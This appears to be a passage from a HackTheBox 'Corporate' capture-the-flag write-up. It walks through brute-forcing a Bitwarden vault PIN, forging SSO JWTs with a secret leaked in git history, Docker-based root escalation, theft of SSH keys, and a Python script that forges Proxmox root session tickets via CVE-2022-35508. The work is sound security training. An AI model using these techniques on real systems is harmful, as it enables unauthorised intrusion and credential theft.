_gcl_au|1.1.425850985.1681400347|.bitwarden.com|/
_ALGOLIA|anonymous-bfbdf7d6-3fdd-4d36-90cb-8d36bfa8f646|bitwarden.com|/
<snip>
sqlite>
BitWarden has a Firefox extension that can store secrets client-side, in an encrypted format - but can be weakened by a user opting to use a pin-code, which the form history seems to suggest Elwin has done. With this information in mind, we’ll start looking for ways to access the BitWarden data.
Cracking a BitWarden Vault
We can start an instance of Firefox with the data we’ve exfiltrated from Elwin’s user directory by copying the contents into ~/.config/mozilla
on our local machine, and then by navigating to about:profiles
to select the tr2cgmb6
profile.
After we’ve got the profile open, we can download the BitWarden extension for Firefox, and then open it to see if the vault is detected. And it is!
Unfortunately the vault is locked, but we can guess that the pin is 4 digits long because of the earlier discoveries in the form history database. Googling for “Bitwarden vault pin bruteforce” leads us to a GitHub project with (impressive) tooling that allows us to perform a bruteforce attack against the encrypted key.
Following the README, the next steps involve reading the encrypted vault key out of the browser with Firefox’s developer tools as well as information about the KDF (in this case, PBKDF2) and it’s iterations (600000).
With the email
, cryptoSymmetricKey
, kdfType
and kdfIterations
obtained from the extension, we can use the bitwarden-pin-bruteforce
tool to begin recovering the pin.
kali@kali:~/bitwarden-pin-bruteforce$ cargo run -- -e "2.DXGdSaN8tLq5tSYX1J0ZDg==|4uXLmRNp/dJgE41MYVxq+nvdauinu0YK2eKoMvAEmvJ8AJ9DbexewrghXwlBv9pR|UcBziSYuCiJpp5MORBgHvR2mVgx3ilpQhNtzNJAzf4M=" -m "elwin.jones@corporate.htb"
[INFO] KDF Configuration: Pbkdf2 {
iterations: 600000,
}
[INFO] Brute forcing PIN from '0000' to '9999'...
[SUCCESS] Pin found: 0239
kali@kali:~/bitwarden-pin-bruteforce$
Now we can log into the vault with the pin 0239
. Inside is a single credential for git.corporate.htb
.
We notice that Elwin is still using his default password, and a TOTP code is present. Navigating to git.corporate.htb
we’re greeted with a login page where our username, password and TOTP grant us access.
Exploring git repositories
A quick scan of the Gitea instance shows 3 repositories, each with a varying amount of history. While the Gitea UI lets us quickly browse these repositories, historical information in git is often very helpful and easier to access locally.
After git cloning
all 3 repositories*, we can start reviewing the code as well as historical git data. Eventually, we’ll come across src/utils/jwt.ts
inside the ourpeople
repository, which is a simple JWT handler in TypeScript.
import jwt from "jsonwebtoken";
const privateKey = process.env.JWT_SECRET ?? "";
interface User {
id: number;
name: string;
surname: string;
email: string;
roles: string[];
}
export const signJWT = (data: User) => {
return jwt.sign(data, privateKey, { algorithm: "HS256", expiresIn: "24h" });
};
export const validateJWT = (token: string) => {
try {
const decoded = jwt.verify(token, privateKey, { algorithms: ["HS256"] });
return decoded as User;
} catch {
return null;
}
};
Here we can see that an environment variable called JWT_SECRET
is used to sign and verify JWTs for the people.corporate.htb
domain. Looking through the git history for JWT_SECRET
we can see an accidental commit of a secret.
kali@kali:~/x/gitea/ourpeople$ git log -p --all -S 'JWT_SECRET'
- "dev": "JWT_SECRET=09cb527651c4bd385483815627e6241bdf40042a nodemon --exec ts-node --files ./src/app.ts"
A little more exploring also reveals how password resets work for the SSO services, in src/utils.js
inside the the corporate-sso
repository.
const adminConfig = {
dn: "cn=passwordReset,dc=corporate,dc=htb",
password: process.env.PASSWORD_RESET_PW ?? "",
};
export const updateLogin = async (username: string, password: string): Promise<{ success: true } | { success: false; error: string }> => {
return new Promise((resolve, reject) => {
const client = ldap.createClient({
url: [ldapConfig.server],
tlsOptions: {},
});
client.bind(adminConfig.dn, adminConfig.password, async (err) => {
if (err) {
console.error("Failed to bind as admin user", err);
return resolve({ success: false, error: "Failed to bind to LDAP server." });
}
const dn = `uid=${username},ou=Users,dc=corporate,dc=htb`;
const user = await getUser(client, username);
if (!user) return resolve({ success: false, error: "Cannot find user entry." });
if (user.roles.includes("sysadmin")) {
console.error("Refusing to allow password resets for high privilege accounts");
return resolve({ success: false, error: "Refusing to process password resets for high privileged accounts." });
}
const change = new ldap.Change({
operation: "replace",
modification: {
type: "userPassword",
values: [hashPassword(password)],
},
});
client.modify(dn, change, (err) => {
if (err) {
console.error("Failed to change user password", err);
resolve({ success: false, error: "Failed to change user password." });
} else {
resolve({ success: true });
}
});
});
});
};
This shows the hashing and salting algorithm used for users, and describes how those users and credentials are managed using LDAP, and passwords are reset with the passwordReset
role.
Unfortunately, there is no PASSWORD_RESET_PW
environment variable in the repository or it’s history, and the front-end prohibits us from resetting the password for a cookie with the “sysadmin” role.
Forging SSO cookies
Because we know the key is currently being used to sign SSO cookies, we can forge the payload to describe another user and then sign it with our newfound private key, which will be verified by the sso.corporate.htb
backend.
I like using the debugger on jwt.io to quickly build JWTs with the ability to sign them. Importing our existing CorporateSSO JWT and the newly found signing secret into the tool lets us verify the secret.
Let’s try and forge a token for one of the “engineers”, I picked “Arch Ryan”. Start by getting his information from the earlier employee dump and then modify the payload. While we are at it, let’s also set a longer expiration via the exp
field, and set the requireCurrentPassword
field to false, since we don’t know Arch’s password.
With a forged JWT, we can now place it in the browser as our new CorporateSSO
cookie, and navigate to people.corporate.htb
, verifying our forged cookie has been accepted by the server as valid.
Now we can try setting the password for Arch via the SSO password reset functionality we spotted earlier on. Navigating to sso.corporate.htb/reset-password
reveals a reset form that no longer requires a current password, and allows us to set a new one.
* - Because of TOTP guarding Elwin’s account, a HTTP git clone doesn’t work without what is essentially a bypass token. I couldn’t get this generated token to work for me however, so I just disabled TOTP in the account settings and continued. This is a fairly disruptive step for other players, and I would have been much more reluctant if this wasn’t a VIP instance.
Escalating privileges to an Engineer
Now that we have managed to trigger an LDAP password reset for Arch, we can try using their credentials on the corporate workstation, 10.9.0.4
.
kali@kali:~$ ssh arch.ryan@10.9.0.4
arch.ryan@10.9.0.4's password:
Last login: Sun May 5 08:16:40 2024 from 10.9.0.1
arch.ryan@corporate-workstation-04:~$
Executing id
shows that Arch is inside the engineers
group, meaning they should be able to use docker
with root, and read from the docker socket we discovered at /run/docker.sock
as Elwin.
arch.ryan@corporate-workstation-04:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
arch.ryan@corporate-workstation-04:~$ docker image list
REPOSITORY TAG IMAGE ID CREATED SIZE
arch.ryan@corporate-workstation-04:~$
Escalating to root on the workstation by abusing Docker
Looks like it works! Next we can try some common Docker privilege escalation techniques to try and gain root.
Using GTFObins for inspiration, we can try and spawn a root shell with the root filesystem mounted to the container, and then chroot into it. Firstly, we need to acquire a docker image since none are readily available.
Since the machine does not have internet access like all other HackTheBox machines, we’ll need to transfer an image to the host via SSH, because docker pull
will error out.
Fortunately, docker provides tooling to save and load docker images for air-gapped machines. Start by pulling a lightweight image like Alpine for the right architecture*.
kali@kali:~/x$ sudo docker pull --platform linux/amd64 alpine:latest
latest: Pulling from library/alpine
4abcf2066143: Pull complete
Digest: sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
kali@kali:~/x$
kali@kali:~/x$ sudo docker save -o alpine.docker alpine
kali@kali:~/x$ sudo chown kali alpine.docker
kali@kali:~/x$ scp alpine.docker arch.ryan@10.9.0.4:~/
arch.ryan@10.9.0.4's password:
alpine.docker 100% 15MB 5.2MB/s 00:02
kali@kali:~/x$
and then on the compromised workstation, load the docker image and then start a privileged instance of it - mounting the root filesystem and chrooting into it as root.
arch.ryan@corporate-workstation-04:~$ docker load -i alpine.docker
d4fc045c9e3a: Loading layer [==================================================>] 7.667MB/7.667MB
Loaded image: alpine:latest
Loaded image ID: sha256:05455a08881ea9cf0e752bc48e61bbd71a34c029bb13df01e40e3e70e0d007bd
Loaded image ID: sha256:ace17d5d883e9ea5a21138d0608d60aa2376c68f616c55b0b7e73fba6d8556a3
arch.ryan@corporate-workstation-04:~$
arch.ryan@corporate-workstation-04:~$ docker run -v /:/mnt --privileged --rm -it alpine chroot /mnt sh
#
Stealing a sysadmin’s credentials
Now we’ve escalated to root, we can explore the machine with a little more freedom. Navigating to /home/sysadmin
shows nothing too interesting except an empty .ssh/authorized_keys
file.
However, inside the guests
directory, we can see all the other users. While we can’t change directories into another employees folder, we can try to su
as one of them, such as an employee who is a sysadmin.
Checking the earlier dump of employees from the people.corporate.htb
dashboard again, I chose to target “Stevie Rosenbaum”.
# su stevie.rosenbaum
stevie.rosenbaum@40159c30f860:/$ cd
stevie.rosenbaum@40159c30f860:~$ ls -la
total 32
drwxr-x--- 5 stevie.rosenbaum stevie.rosenbaum 4096 Nov 27 19:54 .
drwxr-xr-x 4 root root 0 May 5 08:38 ..
lrwxrwxrwx 1 root root 9 Nov 27 19:54 .bash_history -> /dev/null
-rw-r--r-- 1 stevie.rosenbaum stevie.rosenbaum 220 Apr 13 2023 .bash_logout
-rw-r--r-- 1 stevie.rosenbaum stevie.rosenbaum 3526 Apr 13 2023 .bashrc
drwx------ 2 stevie.rosenbaum stevie.rosenbaum 4096 Apr 13 2023 .cache
drwxrwxr-x 3 stevie.rosenbaum stevie.rosenbaum 4096 Apr 13 2023 .local
-rw-r--r-- 1 stevie.rosenbaum stevie.rosenbaum 807 Apr 13 2023 .profile
drwx------ 2 stevie.rosenbaum stevie.rosenbaum 4096 Apr 13 2023 .ssh
-rw-r--r-- 79 root sysadmin 33 May 5 05:12 user.txt
stevie.rosenbaum@40159c30f860:~$ ls .ssh/
config id_rsa id_rsa.pub known_hosts known_hosts.old
stevie.rosenbaum@40159c30f860:~$ cat .ssh/config
Host mainserver
HostName corporate.htb
User sysadmin
stevie.rosenbaum@40159c30f860:~$
We’ll exfiltrate the id_rsa
and id_rsa.pub
SSH keypair for use later. Importantly, taking a peek inside the config
file reveals an alias for corporate.htb
with the user sysadmin
.
Interestingly, our initial enumeration didn’t show an SSH server open for corporate.htb
. Remembering that we saw an SSH server running on 10.8.0.1
and 10.9.0.1
during our user pwnage, we can check the hosts file and see if corporate.htb
routes somewhere else.
stevie.rosenbaum@40159c30f860:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 corporate-workstation-04
10.9.0.1 ldap.corporate.htb corporate.htb
<snip>
stevie.rosenbaum@40159c30f860:~$
This confirms that 10.9.0.1
is the intranet host for corporate.htb
, and now we know which user and IP address to attack next.
Escalating privileges to a Sysadmin
Using the Stevie’s stolen SSH keys, we attempt to login to the 10.9.0.1
host as sysadmin@
.
kali@kali:~$ chmod 700 stevie_id_rsa
kali@kali:~$ ssh -i stevie_id_rsa sysadmin@10.9.0.1
Linux corporate 5.15.131-1-pve #1 SMP PVE 5.15.131-2 (2023-11-14T11:32Z) x86_64
Last login: Sun May 5 09:37:43 2024 from 10.8.0.2
sysadmin@corporate:~$
Interestingly, the login barrier shows the kernel as having a -pve
suffix, which is a reference to the Proxmox VE kernel. We also saw with our nmap
scan of 10.9.0.1
earlier, on port 3128/tcp and 8006/tcp.
We can visit 10.9.0.1:8006
and access the Proxmox management UI, but can’t proceed without a valid login.
Attacking Proxmox
Discovering key material
Enumerating common directories on the host, we end up finding two Proxmox related backup files in /var/backups
.
sysadmin@corporate:~$ cd /var/backups
sysadmin@corporate:~$ ls -la
<snip>
-rw-r--r-- 1 root root 60M Apr 15 2023 proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
-rw-r--r-- 1 root root 76K Apr 15 2023 pve-host-2023_04_15-16_09_46.tar.gz
sysadmin@corporate:~$
Copying these to our local machine via scp
and extracting them, we can start carefully combing through each of the files, which seem to mirror important files related to Proxmox on the host.
I couldn’t find anything interesting in the proxmox_backup_corporate
archive, but the pve-host
archive contains a number of important looking key files.
kali@kali:~/x/proxmox/pve/etc/pve$ ls -lah
total 88K
<snip>
-rw-r----- 1 kali kali 451 Apr 15 2023 authkey.pub
-rw-r----- 1 kali kali 451 Apr 15 2023 authkey.pub.old
<snip>
-rw-r----- 1 kali kali 2.1K Apr 8 2023 pve-root-ca.pem
-rw-r----- 1 kali kali 1.7K Apr 8 2023 pve-www.key
kali@kali:~/x/proxmox/pve/etc/pve$
Forging a Proxmox UI session cookie
Googling for “Proxmox vulnerability” and “Proxmox privilege escalation” uncovers CVE-2022-35508 which includes a “privilege escalation to the root@pam account if the backup feature has been used because the backups contain the authkey value”.
This vulnerability was found by @cursered who wrote a blog post which includes a full proof-of-concept for escalating to the root@pam
account by downloading the backup, extracting the authkey file and generating a session cookie through other vulnerabilities they’ve found.
The Proxmox UI uses a cookie called “PVEAuthCookie”, with the value as their own RSA/SHA-1 based ticket.
Since we already have the authkey file, we only need to be able to generate a key without the other vulnerabilities. Borrowing the generate_ticket()
function from their proof-of-concept, we can adapt it to simply read the key from authkey.key
.
Since we’re attacking a PVE instance, not a PMG (Proxmox Mail Gateway) instance, we’ll also change the PMG:
prefix to PVE:
.
#!/usr/bin/python3
import time
import tempfile
import logging
import subprocess
import base64
def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
timestamp = hex(int(time.time()) + time_offset)[2:].upper()
plaintext = f'PVE:{username}:{timestamp}'
authkey_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing authkey to {authkey_path.name}')
authkey_path.write(authkey_bytes)
authkey_path.close()
txt_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing plaintext to {txt_path.name}')
txt_path.write(plaintext.encode('utf-8'))
txt_path.close()
logging.info(f'calling openssl to sign')
sig = subprocess.check_output(
['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
sig = base64.b64encode(sig).decode('latin-1')
ret = f'{plaintext}::{sig}'
logging.info(f'generated ticket for {username}: {ret}')
return ret
def main():
auth_key = ""
with open('authkey.key', 'rb') as f:
auth_key = f.read()
ticket = generate_ticket(auth_key)
print(ticket)
if __name__ == '__main__':
main()
Executing our script spits out a new Proxmox session ticket successfully:
kali@kali:~/x/proxmox/exp$ ./gen_ticket.py
PVE:root@pam:66377A6A::c8RmIvXtiMyyMKiuMWL2aKyKTnplksQyqnxGc0s/GBaWBpCucwhwLdqDamVv7Kxwpuop/tR5OJxAFTp1t3xz4PQNasTae0/xGzD/2dTJmo6ltIUg3gzhQ7D3X9k+svxHxWZgR7vSfv+8RYecK/BjhwfP+L6eHW3SvhypY3QsiYxhhjDdEQ0J0XtfWhffFr1sPjSZ+ZIY8AkxqxN45VdM4AxcfeTRgRZgfRDjGSft6VYto63acn4mKe7BRO4X5lDDyBEF0+WZB4beLMGEaYI18Nmg2c4S4xOHvEnmruMvbVf0lbQEQxaYI7Yqi0ra1l0AVdlrTMyqHvwhZMwwnrTv2g==
kali@kali:~/x/proxmox/exp$
Obtaining the root flag
We can now set the PVEAuthCookie
to the new session ticket in our browser using the developer tools, much like we did for the SSO cookie attacks earlier. Refreshing the page shows the cookie worked successfully, and we can view the corporate
node which is also running the previously pwned workstation at 10.9.0.4
.
Clicking on the node in the tree view left of the page, and then spawning a shell via the convenient “Shell” button drops us in as root on the hypervisor. A quick ls
shows we have finally obtained the root flag, marking the machine complete.